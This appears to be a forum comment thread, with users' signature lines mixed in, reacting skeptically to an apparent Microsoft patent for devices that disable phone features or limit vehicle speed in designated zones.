/Telus miky phones cause all sorts of damage and that security guard telling you to turn your harmless Cellphone (GSM/CDMA...) off uses one!
Though nextel
Isn't this called an EMP?
Sounds great. And I can't wait until I'm required to get my new wetware version implanted.
Be as you would have the world become.
Airbus in particular had this system installed on its planes. There were numerous crashes and narrowly averted disasters because the pilots were wrestling with the plane when it refused to maneuver properly thanks to faulty data or unforeseen circumstances.
The system lasted in that form for a few months before the humans were given an override button.
VLC FOR MAC IS DYING! IF YOU DEVELOP, PLEASE SAVE IT!!
Dear Mr. Gates I already have a mother. Piss off. Yours sincerely Me.
Only boring people are ever bored.
With the proliferation of unattended speed trap cameras as a predictive example, I'd much rather see Microsoft patent and market devices that would prevent you from speeding than I would see, say, the people who make the speed trap cameras patent using the vehicle's OnStar system and GPS mapping capabilities to automatically send you a ticket when you went 36 MPH in a known 35 MPH zone.
Because you know that there are politicians who would see major salary increases in the latter technology...
Orwell: "In a Time of Universal Deceit, telling the Truth is a Revolutionary Act"
"[...]'No flash photography' and 'No talking out loud' to these devices by disabling features or disabling the device entirely.[...]"
"as it describes a number of possible uses for the technology, including 'in particular zones to limit the speed and/or acceleration of vehicles"
Situation: An accident happening nearby
... and the car stops responding...
The driver shouts: "HOLY FSCK!"
Great 'invention' dipshits!
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